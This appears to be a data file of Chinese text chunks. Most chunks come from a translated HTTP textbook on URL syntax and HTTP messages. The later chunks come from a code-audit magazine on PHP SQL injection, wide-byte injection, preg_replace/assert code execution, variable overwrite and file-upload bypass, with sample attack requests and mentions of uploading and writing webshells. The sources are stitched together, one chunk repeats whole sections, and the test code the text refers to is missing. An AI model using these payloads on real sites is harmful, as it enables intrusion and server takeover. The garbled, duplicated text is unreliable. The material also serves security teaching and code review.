    {"text": "它们可以指向因特网上的任意资 源，或者个人的 E-mail 账户： mailto:president@whitehouse.gov 24 或者通过其他协议（比如 FTP 协议）访问的各种文件： ftp://ftp.lots-o-books.com/pub/complete-price-list.xls 或者从流视频服务器上下载电影： rtsp://www.joes-hardware.com:554/interview/cto_video URL 提供了一种统一的资源命名方式。"},
    {"text": "有了 Web 浏览器，就不再需要用新闻阅读器来阅读因特网新闻，或者用 FTP 客户 端来访问 FTP 服务器上的文件了，而且也无需用电子邮件程序来收发 E-mail 报文 了。"},
    {"text": "URL 告知浏览器如何对资源进行访问和处理，这有助于简化复杂的网络世界。 1 应用程序可以使用 URL 来简化信息的访问过程。 URL 为用户及他们的浏览器提供了找到信息所需的所有条件。 URL 定义了用户所需 25 的特定资源，它位于何处以及如何获取它。 2.2 URL的语法 URL 提供了一种定位因特网上任意资源的手段，但这些资源是可以通过各种不同的 方案（比如 HTTP、FTP、SMTP）来访问的，因此 URL 语法会随方案的不同而有 所不同。"},
    {"text": "28 ｜ 第 2 章 大多数 URL 方案的 URL 语法都建立在这个由 9 部分构成的通用格式上： <scheme>://<user>:<password>@<host>:<port>/<path>;<params>?<query>#<frag> 几乎没有哪个 URL 中包含了所有这些组件。"},
    {"text": "表2-1 通用URL组件 组 件 描 述 默 认 值 方案 访问服务器以获取资源时要使用哪种协议 无 用户 某些方案访问资源时需要的用户名 匿名 密码 用户名后面可能要包含的密码，中间由冒号（:）分隔 <E-mail 地址 > 主机 资源宿主服务器的主机名或点分 IP 地址 无 端口 资源宿主服务器正在监听的端口号。"},
    {"text": "很多方案都有默认端 每个方案特有 口号（HTTP 的默认端口号为 80） 路径 服务器上资源的本地名，由一个斜杠（/）将其与前面的 无 URL 组件分隔开来。"},
    {"text": "无 URL 中可以包含多个参数字段，它们相互之间以及与路径 的其余部分之间用分号（;）分隔 查询 某些方案会用这个组件传递参数以激活应用程序（比如数 无 据库、公告板、搜索引擎以及其他因特网网关）。"},
    {"text": "通过 字符“#”将其与 URL 的其余部分分隔开来 比 如， 我 们 来 看 看 URL：http://www.joes-hardware.com:80/index.html，其方案是 http， 主机为 www.joes-hardware.com，端口是 80，路径为 /index.html。"},
    {"text": "URL与资源 ｜ 29 2.2.2 主机与端口 要想在因特网上找到资源，应用程序要知道是哪台机器装载了资源，以及在那台机 器的什么地方可以找到能对目标资源进行访问的服务器。"},
    {"text": "比如，下面两个 URL 就指向同一个资 源——第一个 URL 是通过主机名，第二个是通过 IP 地址指向服务器的： http://www.joes-hardware.com:80/index.html http://161.58.228.45:80/index.html 端口组件标识了服务器正在监听的网络端口。"},
    {"text": "这里有几个例子： ftp://ftp.prep.ai.mit.edu/pub/gnu ftp://anonymous@ftp.prep.ai.mit.edu/pub/gnu ftp://anonymous:my_passwd@ftp.prep.ai.mit.edu/pub/gnu http://joe:joespasswd@www.joes-hardware.com/sales_info.txt 第一个例子没有用户或密码组件，只有标准的方案、主机和路径。"},
    {"text": "如果某应用程 序使用的 URL 方案要求输入用户名和密码，比如 FTP，但用户没有提供，它通常 会插入一个默认的用户名和密码。 比如，如果向浏览器提供一个 FTP URL，但没 27 有指定用户名和密码，它就会插入 anonymous（匿名用户）作为你的用户名，并发 送一个默认的密码（Internet Explorer 会发送 IEUser，Netscape Navigator 则会发送 mozilla）。"},
    {"text": "假设 Joe 的五金商店在数据库中维护着一个未售货物的清单，并可以对清单进行查 询，以判断产品是否有货，那就可以用下列 URL 来查询 Web 数据库网关，看看编 号为 12731 的条目是否有货： http://www.joes-hardware.com/inventory-check.cgi?item=12731 这个 URL 的大部分都与我们见过的其他 URL 类似。"},
    {"text": "http://www.joes-hardware.com/inventory-check.cgi?item=12731&color=blue&size=large item=12731&color=blue&size=large 因特网 客户端 服务器 “清单查询” 网关 图 2-2 发送给网关应用程序的 URL 查询组件 在本章稍后会看到，除了有些不合规则的字符需要特别处理之外，对查询组件的格 式没什么要求。 按照常规，很多网关都希望查询字符串以一系列“名 29 / 值”对的形 式出现，名值对之间用字符“&”分隔： http://www.joes-hardware.com/inventory-check.cgi?item=12731&color=blue 在这个例子中，查询组件有两个名 / 值对：item=12731 和 color=blue。"},
    {"text": "比如： http://www.joes-hardware.com/tools.html#drills 在这个例子中，片段 drills 引用了 Joe 的五金商店 Web 服务器上页面 /tools.html 中的一 个部分。"},
    {"text": "http://www.joes-hardware.com/tools.html#drills （a）用户选择了指向http://www.joes-hardware.com/tools.html#drills的链接 （片段并不发送给服务器） （b）浏览器向http://www .joes-hardware.com/tools.html发起请求 因特网 客户端 www.joes-hardware.com （c）服务器返回整个 HTML页面 浏览器向下滚动，从名为drills的片段处开始显示 Screen shot needed （d）浏览器从名为drills的片段处开始显示HTML页面 图 2-3 服务器处理的是整个对象，因此 URL 片段仅由客户端使用 注 3： 在 15.9 节会看到 HTTP Agent 代理可能会请求某个字节范围内的对象，但在 URL 片段的上下文中， 服务器会发送整个对象，由 Agent 代理将片段标识符应用于资源。"},
    {"text": "例 2-1 带有相对 URL 的 HTML 代码片段 <HTML> <HEAD><TITLE>Joe's Tools</TITLE></HEAD> <BODY> <H1> Tools Page </H1> <H2> Hammers <H2> <P> Joe's Hardware Online has the largest selection of <A HREF=\"./ hammers.html\">hammers </A> on earth. </BODY> </HTML> 例 2-1 是资源： http://www.joes-hardware.com/tools.html 的 HTML 文档。"},
    {"text": "基础URL 相对URL http://www.joes-hardware.com/tools.html ./hammers.html http://www.joes-hardware.com/hammers.html 新的绝对URL 图 2-4 使用基础 URL 相对 URL 只是 URL 的片段或一小部分。"},
    {"text": "还需要注意的是，相对 URL 为保持一组资源（比如一些 HTML 页面）的可移植性 提供了一种便捷方式。 如果使用的是相对 URL，就可以在搬移一组文档的同时，仍 然保持链接的有效性，因为相对 URL 都是相对于新基础进行解释的。"},
    {"text": "比如，HTML 文档中可能会包含一个定义了 基础 URL 的 HTML 标记 <BASE>，通过它来转换那个 HTML 文档中的所有相对 URL。 • 封装资源的基础 URL 如果在一个没有显式指定基础 URL 的资源中发现了一个相对 URL，如例 2-1 所 示，可以将它所属资源的 URL 作为基础（如例中所示）。"},
    {"text": "已解析好的相对URL： {方案=x，用户=y，...} 方案为空 所有组件都为空 非空方案 继承基础URL的方案 默认为基础URL URL是绝对的 检查用户、密码、 主机和端口组件 所有组件都为空 继承基础URL、用户、 密码、主机和端口 检查路径组件 带有前导“/” 路径为空 的非空路径 继承基础URL路径 要处理绝对路径 没有前导“/” 检查参数组件 的非空路径 从在处理的路径中删除 “./”和“<seg> /./” 参数为空 参数非空 继承基础URL参数 检查查询组件 查询为空 查询非空 继承基础URL查询 将继承的组件和相对组件组合成新的绝对URL 33 图 2-5 将相对 URL 转换成绝对 URL 这个算法将一个相对 URL 转换成了其绝对模式，之后就可以用它来引用资源了。"},
    {"text": "(4) 将来自相对 URL（路径：./hammers.html）的组件与我们继承来的组件（方案： http， 主 机：www.joes-hardware.com， 端 口：80） 合 并 起 来， 得 到 新 的 绝 对 URL：http ://www.joes-hardware.com/hammers.html。"},
    {"text": "• 主机名扩展 在主机名扩展中，只要有些小提示，浏览器通常就可以在没有帮助的情况下，将 你输入的主机名扩展为完整的主机名。 比 如， 如 果 在 地 址 栏 中 输 入 yahoo， 浏 览 器 就 会 自 动 在 主 机 名 中 插 入 www. 和 .com，构建出 www.yahoo.com。"},
    {"text": "• 历史扩展 浏览器用来节省用户输入 URL 时间的另一种技巧是，将以前用户访问过的 URL 历史存储起来。 当你输入 URL 时，它们就可以将你输入的 URL 与历史记录中 URL 的前缀进行匹配，并提供一些完整的选项供你选择。"},
    {"text": "表2-2 一些编码字符示例 字 符 ASCII码 示例URL ~ 126(0x7E) http://www.joes-hardware.com/%7Ejoe 空格 32(0x20) http://www.joes-hardware.com/more%20tools.html % 37(0x25) http://www.joes-hardware.com/100%25satisfaction.html 2.4.3 字符限制 在 URL 中，有几个字符被保留起来，有着特殊的含义。"},
    {"text": "表2-3 保留及受限的字符 字 符 保留/受限 % 保留作为编码字符的转义标志 / 保留作为路径组件中分隔路径段的定界符 . 保留在路径组件中使用 .. 保留在路径组件中使用 # 保留作为分段定界符使用 ? 保留作为查询字符串定界符使用 ; 保留作为参数定界符使用 : 保留作为方案、用户 / 口令，以及主机 / 端口组件的定界符使用 $, + 保留 @ & = 在某些方案的上下文中有特殊的含义，保留 36 { } | \\ ^ ~ [ ] ' 由于各种传输 Agent 代理，比如各种网关的不安全处理，使用受限 < > \" 不安全；"},
    {"text": "这些字符在 URL 范围之外通常是有意义的，比如在文档中对 URL 自身 进行定界（比如 http://www.joes-hardware.com），所以应该对其进行编码 0x00-0x1F, 0x7F 受限，这些十六进制范围内的字符都在 US-ASCII 字符集的不可打印区间内 >0x7F 受限，十六进制值在此范围内的字符都不在 US-ASCII 字符集的 7 比特范围内 URL与资源 ｜ 39 2.4.4 另外一点说明 你可能会感到奇怪，为什么使用一些不安全字符的时候并没有发生什么不好的事情。"},
    {"text": "URL 的每个组件都会有自己的安全 / 不安全字符，哪些字符是安全 / 不安全的 与方案有关，因此只有从用户那里接收 URL 的应用程序才能够判断需要对哪些字符 进行编码。"},
    {"text": "但在实际 应用中，有些应用程序可能会假定不对安全字符进行编码，这么做的话可能会产生 一些奇怪的破坏性行为。 有时，有些人会恶意地对额外的字符进行编码，以绕过那些对 URL 进行模式匹配的 应用程序——比如，Web 过滤程序。"},
    {"text": "基本格式： http://<host>:<port>/<path>?<query>#<frag> 示例： http://www.joes-hardware.com/index.html http://www.joes-hardware.com:80/index.html https 方 案 https 与 方 案 http 是 一 对。"},
    {"text": "基本格式： https://<host>:<port>/<path>?<query>#<frag> 示例： https://www.joes-hardware.com/secure.html mailto Mailto URL 指向的是 E-mail 地址。 由于 E-mail 的行为与其他方案都有所不同（它并不指 向任何可以直接访问的对象），所以 mailto URL 的格式与标准 URL 的格式也有所不同。"},
    {"text": "基本格式： mailto:<RFC-822-addr-spec> 示例： mailto:joe@joes-hardware.com 38 ftp 文件传输协议 URL 可以用来从 FTP 服务器上下载或向其上载文件，并获取 FTP 服务器 上的目录结构内容的列表。"},
    {"text": "基本格式： ftp://<user>:<password>@<host>:<port>/<path>;<params> 示例： ftp://anonymous:joe%40joes-hardware.com@prep.ai.mit.edu:21/pub/gnu/ rtsp，rtspu RTSP URL 是可以通过实时流传输协议（Real Time Streaming Protocol）解析的音 / 视频 媒体资源的标识符。"},
    {"text": "基本格式： rtsp://<user>:<password>@<host>:<port>/<path> rtspu://<user>:<password>@<host>:<port>/<path> 示例： rtsp://www.joes-hardware.com:554/interview/cto_video URL与资源 ｜ 41 （续） 方 案 描 述 file 方案 file 表示一台指定主机（通过本地磁盘、网络文件系统或其他一些文件共享系统） 上可直接访问的文件。"},
    {"text": "基本格式： file://<host>/<path> 示例： file://OFFICE-FS/policies/casual-fridays.doc news 根据 RFC 1036 的定义，方案 news 用来访问一些特定的文章或新闻组。"},
    {"text": "比如，在网景浏览器的“选项”（Options）菜单中，就可 以指定自己的 NNTP（news）服务器。 这样，浏览器有了 news URL 的时候就知道应该使 用哪个服务器了。 新闻资源可以从多台服务器中获得。"},
    {"text": "基本格式： telnet://<user>:<password>@<host>:<port>/ 示例： telnet://slurp:webhound@joes-hardware.com:23/ 2.6 未来展望 URL 是一种强有力的工具。"},
    {"text": "为了应对这个问题，因特网工程任务组（Internet Engineering Task Force，IETF） 已经对一种名为统一资源名（uniform resource name，URN）的新标准做了一段时 间的研究了。 无论对象搬移到什么地方（在一个 Web 服务器内或是在不同的 Web 服务器间），URN 都能为对象提供一个稳定的名称。"},
    {"text": "客户端 purl.oclc.org 实际的 http://www.joes-hardware.com/ 第二步：获取资源实际的URL。 获取 http://www.joes-hardware.com/ 因特网 客户端 www.joes-hardware.com 图 2-6 PURL 通过资源定位符服务器来命名资源的当前位置 如果不是现在，那是什么时候 URN 背后的思想已经提出一段时间了。"},
    {"text": "其他命名方案想要取代 URL 还要一 段时间。 但是，URL 确实有其局限型，可能会出现新的标准（可能就是 URN），对 这种标准进行部署会解决其中的某些问题。"},
    {"text": "• http://www.ietf.org/rfc/rfc1738 RFC 1738，T. Berners-Lee、L. Masinter 和 M. McCahill 编写的“Uniform Resource 41 Locators（URL）”（“统一资源定位符”）。 • http://www.ietf.org/rfc/rfc2396.txt RFC 2396，T. Berners-Lee、R. Fielding 和 L. Masinter 编写的“Uniform Resource Identifiers（URI）：Generic Syntax”（“URI：通用语法”）。 • http://www.ietf.org/rfc/rfc2141.txt RFC 2141，R. Moats 编写的“URN Syntax”（“URN 语法”）。"},
    {"text": "第 1 章说明了 HTTP 程序是怎样互相发送报文来完成工作的。 本章则会介绍所有与 HTTP 报文有关的事情——如何创建报文，以及如何理解它们。 通过阅读本章，就 可以了解编写自己的 HTTP 应用程序所需掌握的大部分内容。"},
    {"text": "报文流入源端服务器，工作完成之后，会流回用户的 Agent 代理中（参见 43 图 3-1）。 流入（流向服务器） GET /index.html HTTP/1.0 代理1 代理2 代理3 客户端 服务器 HTTP/1.0 200 OK 流出（流向用户Agent代理） Content-type: text/html ... 图 3-1 报文流入源端服务器并流回到客户端 46 ｜ 第 3 章 3.1.2 报文向下游流动 HTTP 报文会像河水一样流动。"},
    {"text": "在图 3-2 中，对请求报文来说，代理 1 位于代理 3 的上游，但对响应 报文来说，它就位于代理 3 的下游 1。 请求（流向下游） 客户端 代理1 代理2 代理3 没有报文会向上游流动 服务器 代理 3 代理2 代理 1 客户端 响应（流向下游） 图 3-2 所有报文都向下游流动 3.2 报文的组成部分 HTTP 报文是简单的格式化数据块。"},
    {"text": "HTTP报文 ｜ 47 起始行 HTTP/1.0 200 OK Content-type: text/plain 首部 Content-length: 19 主体 Hi! I’m a message! 客户端 服务器 图 3-3 HTTP 报文的三个部分 起始行和首部就是由行分隔的 ASCII 文本。"},
    {"text": "实体的主体或报文的主体（或者就称为主体）是一个可选的数据块。 与起始行和首 部不同的是，主体中可以包含文本或二进制数据，也可以为空。"},
    {"text": "HTTP请求报文中 包含命令和URL GET /specials/saw-blade.gif HTTP/1.0 Host: www.joes-hardware.com 因特网 客户端 HTTP/1.0 200 OK www.joes-hardware.com Content-Type: image/gif Content-Length: 8572 HTTP响应报文中 包含了事务的结果 图 3-4 包含请求和响应报文的 HTTP 事务 48 ｜ 第 3 章 这是请求报文的格式： 45 <method> <request-URL> <version> <headers> <entity-body> 这是响应报文的格式（注意，只有起始行的语法有所不同）： <version> <status> <reason-phrase> <headers> <entity-body> 下面是对各部分的简要描述。"},
    {"text": "• 版本（version） 报文所使用的 HTTP 版本，其格式看起来是这样的： HTTP/<major>.<minor> 其中主要版本号（major）和次要版本号（minor）都是整数。"},
    {"text": "论坛半月刊二（1） 1.1 普通注入 普通注入分为int型和string型，在string型注入中需要使用单或双引号闭合。 1.1.1 整型注入 测试代码： 测试代码中GET id参数中存在SQL注入漏洞（整型注入），测试如下 原本的SQL注入语句已通过查询出错的方式结合union联合查询到了当前数据库的相关信息。需要注意的是查询出错和语法出错是两 回事，加单引号和双引号是用来闭合语句重新构造的，像这个例子如果是通过加引号的方式，那样得到的报错是语法错误，数据库 根本不会解析执行，同样后半句的联合查询也不会执行。在此一定要把sql注入的原理理解清楚。 数据库操作存在一些关键字，php代码审计的时候可以通过查找这些关键字来定向挖掘SQL注入漏洞： select from、mysql_connect、mysql_query、mysql_fetch_row等。 论坛半月刊二（1） 1. 获取数据库中数据 可以使用如下payload获取数据库敏感信息。 71 i春秋-夏刊-代码审计（第二期） 对漏洞进行复现，发现还暴露了绝对路径，且可以使用union查询所以可以通过MYSQL进行数据库写马操作。 论坛半月刊二（1） 2.preg_replace函数 preg_replace函数主要的作用是对字符串进行正则处理，代码之下的时候需要存在/e参数，这个参数原本是用来处理字符串的， 因此漏洞出现最多的是在对字符串的处理，比如URL,HTML标签等。 它的参数于返回如下 pattern即第一个参数的代码注射。当magic_quotes_gpc=Off时，导致代码执行。 24 i春秋-夏刊-代码审计（第二期） 请求/Php.php?reg=<\\/php>/e结果如下 第二段测试代码 访问/Php.php?h=phpinfo()效果如下 3.动态函数执行：Php动态函数写法为“变量（参数）” 测试代码如下： 访问/Php.php?a=assert&b=phpinfo()效果如下 4. array_map()函数的代码执行：其实array_map()函数原理跟eval(),assert1()函数原理差不多 25 i春秋-夏刊-代码审计（第二期） 访问/php.php?a=phpinfo即可执行phpinfo 同类型函数还有很多我举例一些 防范方法 1、尽量不要执行外部命令 2、使用自定义函数或函数库来替代外部命令的功能 3、使用escapeshellarg函数来处理命令参数 4、使用safe_mode_exec_dir指定可执行文件的路径 esacpeshellarg函数会将任何引起参数或命令结束的字符转义，单引号“'”，替换成“\\'”，双引号“\"”，替换成“\\\"”，分号“;” 替换成“\\;” 用safe_mode_exec_dir指定可执行文件的路径，可以把会使用的命令提前放入此路径内 点此返回目录 26 i春秋-夏刊-代码审计（第二期） 常见WEB漏洞代码层原理分析及利用方式——文件操作漏洞篇 作者:ObioidO 文件操作漏洞 文件操作包括文件包含、文件读取、文件删除、文件修改以及文件上传。其实几种文件操作的漏洞都有部分相似之处，但在白盒审计 的角度上来看每种漏洞都有各自的漏洞函数以及利用方式。 1 文件包含漏洞 文件包含漏洞分为本地文件包含（LFI）和远程文件包含（RFI）。 论坛半月刊二（1） 1.1 本地文件包含 本地文件包含是指只能包含本机文件的文件包含漏洞，大多出现在模块加载、模版加载和cache调用这些地方。 测试代码：test.php 论坛半月刊二（1） 2.preg_replace函数 preg_replace函数主要的作用是对字符串进行正则处理，代码之下的时候需要存在/e参数，这个参数原本是用来处理字符串的， 因此漏洞出现最多的是在对字符串的处理，比如URL,HTML标签等。 它的参数于返回如下 20 i春秋-夏刊-代码审计（第二期） pattern即第一个参数的代码注射。 当magic_quotes_gpc=Off时，导致代码执行。 请求/Php.php?reg=<\\/php>/e结果如下 第二段测试代码 访问/Php.php?h=phpinfo()效果如下"},
    {"text": "论坛半月刊二（1） 1.2 编码注入 编码处理的函数也是存在问题的，通过输入转码函数不兼容的特殊字符，可以导致输出的字符变成有害数据。"},
    {"text": "1.2.1 宽字节注入 当设置“set character_set_client=gbk”时会导致一个编码转换的注入问题，这就是宽字节注入：注入参数里带入%df%27，即可 把程序中过滤出的\\（%5c）吃掉。"},
    {"text": "假设 里面的id参数存在宽字节注入漏洞，当按照普通字符型注入提交时，MYSQL实际运行的SQL语句是 这是由于单引号被自动转义成\\'后，前面的%df和转义字符\\反斜杠（%5c）组合成了%df%5c，也就是“運”字，这时候后面的单引号 还在，成功闭合了前面的单引号。 出现这个漏洞的原因是在PHP连接MySQL的时候执行了“set character_set_client=gbk”的设置 告诉MySQL服务器：客户端来源数据编码是GBK，然后MySQL服务器对查询语句进行GBK转码导致反斜杠\\被%df吃掉，而一般都不直接 这么设置。 通常的设置方法是 SET NAMES 'gbk' ,等同于如下代码： 这同样也是存在漏洞的，官方建议使用mysql_set_charset方式来设置编码，然而它也只是调用了SET NAMES，所以效果也是一样的。 不过mysql_set_charset调用SET NAMES之后还记录了当前的编码，留着给后面mysql_real_escape_string处理字符串时使用，所以 在后面使用mysql_real_escape_string()函数来参数过滤可以解决这个漏洞。"},
    {"text": "1 7 1 i春秋-夏刊-代码审计（第二期） 测试代码： 因为编码问题所以存在汉字显示乱码的问题，但是可以看到SQL语句是正常执行了的，注入成功。"},
    {"text": "对宽字符注入的挖掘只需搜索如下 几个关键字即可：SET NAMES、character_set_client=gbk、mysql_set_charset('gbk') 1.2.2 二次urldecode注入 现在的web程序大多都会进行参数过滤，通常使用addslashes()、mysql_real_escape_string()、mysql_escape_string()函数或者 开启GPC的方式来防止注入，也就是给单引号（'）、（\"）、反斜杠（\\）和NULL加上反斜杠转义。"},
    {"text": "原理是当提交参数到WebSever时，WebSever会自动解码一次，假设 目标开启了GPC，提交 因为提交的参数里没有单引号，所以第一次解码后的结果是id=1%27,%25的解码结果是%，如果程序里使用了urldecode或者 rawurldecode函数来解码id参数，则解码后的结果是id=1'，单引号成功拼接近字符串，可能引发注入。"},
    {"text": "同时本书中出现的错误 着实不少，不论是文字叙述还是代码段都有，因此我建议大家去自己手动把这些例子都挨着敲一遍，根据报错就可以发现同时也加 深对这些漏洞出现的原理的理解。"},
    {"text": "点此返回目录 8 1 i春秋-夏刊-代码审计（第二期） 代码审计&细谈变量覆盖漏洞 作者:撸大叔 1、序言 大家好 我就是人见人爱 花见花开的Monkey 今天给各位带来的文章是变量覆盖漏洞 问:何为变量覆盖？"},
    {"text": "答:变量覆盖漏洞 是指你程序代码原有的变量 被覆盖掉了(准确的来说 是被修改掉了) 我在i春秋的帖子处搜索了一下 四乎好像大家 好像不怎么关注这个漏洞 2、PHP环境搭建以及系统之别(安卓的请看:https://bbs.ichunqiu.com/thread-21214-1-1.html) 到现在我都没发一次环境搭建的 被我忽略了 忘记很多新手没碰过PHP 今天就来教大家怎么搭建PHP环境吧 小一、系统之别： 其实环境搭建很简单的 很多新手在中途遇见点麻烦就不想再继续安装了 有很多是因为系统之别 在不同的操作系统有不同的开发环境 一、windows XP 需要用到的是 wamp server服务器 php+mysql+阿帕奇 二、windows 7/8/10 都可以用 phpstudy服务器 php+mysql+阿帕奇 三、linux系统 用命令行吧 我没玩过 都是windows下的操作 四、苹果的MAMP 小二、安装环境(我会介绍两种不同系统下的PHP环境安装 也是常见的)： 先来个在windows xp 2003 server的环境安装吧 按步骤来 一步一步 一、下载wamp官网：http://www.wampserver.com/en/ 点击DOWNLOAD下载 二、查看系统的操作系统 问:我不知道本机是32位(x86)还是64(x64)位操作系统怎么办？"},
    {"text": "答:通常windows xp都是32位（x86）操作系统 查看windows xp 常见的有两种方法 1、步骤:开始->单击运行处->输入cmd->输入systeminfo 命令行里面的 处理器:安装了 1 个处理器。"},
    {"text": "[01]: x86 Family 21 Model 19 Stepping 1 AuthenticAMD ~2495 Mhz 可以看到关键字x86 就是32位操作系统了 下载对应的x86安 装包 即可 2、在开始菜单处输入winmsd.exe 弹出了系统信息 可以看到处理器那边 有x86 Family 21 Model 19 Stepping 1 AuthenticAMD ~ 2495 Mhz 和上面的那个一样的 这个也是一种方法 在windows 7/8/10下的查询方法: 找到计算机->右击->属性 查看下方的系统类型 如 64位操作系统 就现在对应的x64 | 32位操作系统 就现在对应的x86 9 1 i春秋-夏刊-代码审计（第二期） 小三、安装WAMP 好了 到了安装环境这里了 1、下载好对应的安装包，由于我的是x32位的操作系统 所以就下载x86位的安装包了 2、打开安装包单击下一步即可： 3、这里是WMAP的协议 第一个是同意 再下一步 4、路径 默认是C：\\\\wamp 可以更改 5、这里是创建快捷方式 下一步 6、安装 10 1 i春秋-夏刊-代码审计（第二期） 到了最后一步 就会弹出窗口 然后单击打开即可 64位和32位安装包不同 但安装方式是一样的 好了 有了PHP环境 我们就安装编辑器了(写代码用的 一般编辑器有submlit(windows 7/8/10推荐)) 还有notepad++快捷方便 windows xp/7/8/10 都支持! Ok notepad++界面: 他非常快捷 打开方式也很快 是初学者必备的 下载地址:http://rj.baidu.com/soft/detail/13478.html?ald Sublime编辑器界面: Submlit也不错 初学者也可以易操控、方便、快捷 中文版的 submlit 下载地址 :http://www.cr173.com/soft/55484.html 小四、怎么创建一个PHP文件？"},
    {"text": "对于初学者 这个很难 因为windows 7中的那个文件夹玩意 有的不能直接改后缀 这里我就说说吧 这是我安装的路径,单击进去(注意 windows xp/7/8/10 文件夹名要为英文 不能包含中文 否则会出错!) 进入找到www目录 11 1 i春秋-夏刊-代码审计（第二期） 我这里显示了后缀 有些就是没显示后缀也不能修改 这里我把他调成不能显示后缀的给你们瞧瞧： 创建一个PHP文件:在www目录下 右键单击，新建一个.txt的记事本文件并改名为.PHP 然后把php文件拖入编辑器内 就可进行编辑了! 3、变量覆盖到底是何方神圣？"},
    {"text": "咱们先来撸一串代码 来带入大家进入我的思路 1 12 1 i春秋-夏刊-代码审计（第二期） 可以看到$type = \"image/jpeg\"; 假设这里是实战中上传的图片类型 只支持jpg和jpeg这两个图片类型 但我想上传gif的图片 怎 么办？"},
    {"text": "看代码:parse_str(@$_GET['x']); 这里 的$_GET['x']; 就可控 可能很多没接触过PHP的 连$_GET是个啥玩意都不知道 我给你解释$_GET是超全局变量数组: 假设test.php文件中的代码中有一个GET他是这样的$_GET[‘mode’] 里面的参数为mode 则URL传输姿势 即是:localhost/test. php?参数【mode】=赋值【aaa】 页面上即是aaa，假设test.php的后面还有一个GET 具体是$_GET[‘fuck’]; 前面的姿势 在这里 肯定行不通 我们请求localhost/test.php?Mode=111&fuck=222 页面上输出111和222 这个&即是地址符 可以让多个GET信息赋值我 们看i春秋的请求方式 https://bbs.ichunqiu.com/forum.php?mod=post&action=edit&fid=59&tid=24433&pid=339543&page=1 这里他引用了模板等一些 功能 多个的情况下也是要加地址符的 好了 介绍了代码函数和get请求赋值 接下来就进入代码页： 可以看到 $type的原始值为image/jpeg Image/jpge 即是图片类型 这里是jpg和jpeg可以上传 但我想上传gif怎么办？"},
    {"text": "我前面说了parse_str这个函数是干什么的”将字符串解析成变量” 字符串解析成变量？ 简单来说 你在parse_str存在的情况下， 在里面传入一个字符串b 他就会生成一个变量$b 就是将字符串变成一个变量 如果变量存在则覆盖他 懂了吧 我们将代码的 parse_str(@$_GET['x']); 里面的@$_GET['x'] 改成 type=gif试试 再去刷新页面 结果为gif 我的天!是不是很多人就会觉得非常神奇？ 其实很简单的 我在前面就说过了”你在parse_str存在的情况下 在里面传入一个字符串 b 他就会生成一个变量$b 就是将字符串变成一个变量 如果变量存在则覆盖他 懂了吧 我们将代码的”变量覆盖 就是这样的 将原 有的变量覆盖掉! OK 下面将实战测试一个文件上传的过滤图片后缀名变量覆盖绕过再将parse_str函数改成原来的parse_str (@$_GET[‘x’]); 在URL请求 我前面说过了 localhost/文件名.php?参数=赋值 这里也是一样的 只不过是get请求将变量赋值 Localhost/php/sql/erci/test.php?X=type=gif 即可覆盖修改 4、实战!将文件上传限制图片后缀名的变量覆盖掉 测试代码: 13 1 i春秋-夏刊-代码审计（第二期） OK 他的变量$type 将文件名限制成只能上传image/jpeg的图片类型 5、文件上传代码解释: 在代码此处: 进入代码页 上传文件，此时支持的图片后缀为image/jpeg格式的 我们上传一张jpg的图片试试 上传成功! 我们试试gif文件后缀 不支持此类型 OK 我们回到上传的首页 再看看代码 认真的朋友一眼就能发现 这里和我们前面测试的代码的一毛一样的 是不是也可以根据前面的来一发？"},
    {"text": "我们回到首页 上传文件的地方 14 i春秋-夏刊-代码审计（第二期） 利用前面所说的知识$_GET赋值的 看此处:假设test.php文件中的代码中有一个GET他是这样的$_GET[‘mode’] 里面的参数为mode 则URL 传输姿势 即是:localhost/test.php?参数【mode】=赋值【aaa】 页面上即是aaa再观察代码的parse_str(@$_GET['x']); 这一块 然后再 URL输入 localhost/文件名.php?参数=变量名=变量赋值即可 此时已经覆盖掉了前面的值 已经是bbb了 不再是image/jpeg了 我们再覆盖成image/gif试试 再上传gif图片试试 成功覆盖了文件名上传了！"},
    {"text": "可以上传马儿 在下面绕过我来说一遍 6、用一个文件上传绕过漏洞 让你更加深刻理解变量覆盖 其实文件上传图片后缀限制的不严 虽然加密了 但还是输出了文件名以及后缀 可以直接绕过的但是如果限制后缀周全 再调用了 parse_str(@$_GET['x']); 绕不过的情况下 可以试试这个变量覆盖掉 文件上传绕过和变量覆盖 差不多吧 下面我给大家讲解一下文件上传绕过 这代码存在是可以绕过的 创建一个PHP的文件 里面插入查询PHPInfo()的信息 好 我们去上传文件 15 1 i春秋-夏刊-代码审计（第二期） 报错了 不能上传.php后缀的 我们试试用burpsuite工具来抓包进行文件上传绕过 (burp工具安装:https://bbs.ichunqiu.com/thread-18851-1-1.html) OK 开启并且代理 各位如果不懂 这个可以去看我前面的文章细说CSRF那篇(https://bbs.ichunqiu.com/thread-24127-1-1.html) 这是上传截取到的包 我们Ctel+R 将此处的Content-Type: application/octet-stream application/octet-stream改成可以上传的image/jpeg 再go即可 16 1 i春秋-夏刊-代码审计（第二期） OK 上传过来了 访问文件试试 成功 这个文件上传绕过和覆盖漏洞是一样的 这样 你就可以更加深刻的理解为什么要这样覆盖文件上传了吧？"},
    {"text": "7、一种常见的$$(可变变量名)的变量覆盖漏洞(有乌云案例) $$ 学过PHP的 应该都知道是PHP可变变量名 为了让大家更好理解可变变量 下面我引入PHP官网的解释: 小一、可变变量解释: 有时候使用可变变量名是很方便的。"},
    {"text": "在上面的例子中 hello 使用了两个美元符号（$）以后，就可 以作为一个可变变量的变量了。 例如： 这时，两个变量都被定义了：$a 的内容是“hello”并且 $hello 的内容是“world”。"},
    {"text": "具体:http://php.net/manual/zh/language.variables.variable.php 看到这里 相信大家对可变变量有了一定的理解了 小二、PHP相关知识补全: 这里我们要清楚代码中的关键字foreach不是一个函数！"},
    {"text": "他是一个循环取值的功能 不是我们所说的系统自带的函数为了更好让大 家理解 我就来一个foreach的小例子 我们首先定义了一个关联数组 什么是关联数组呢？"},
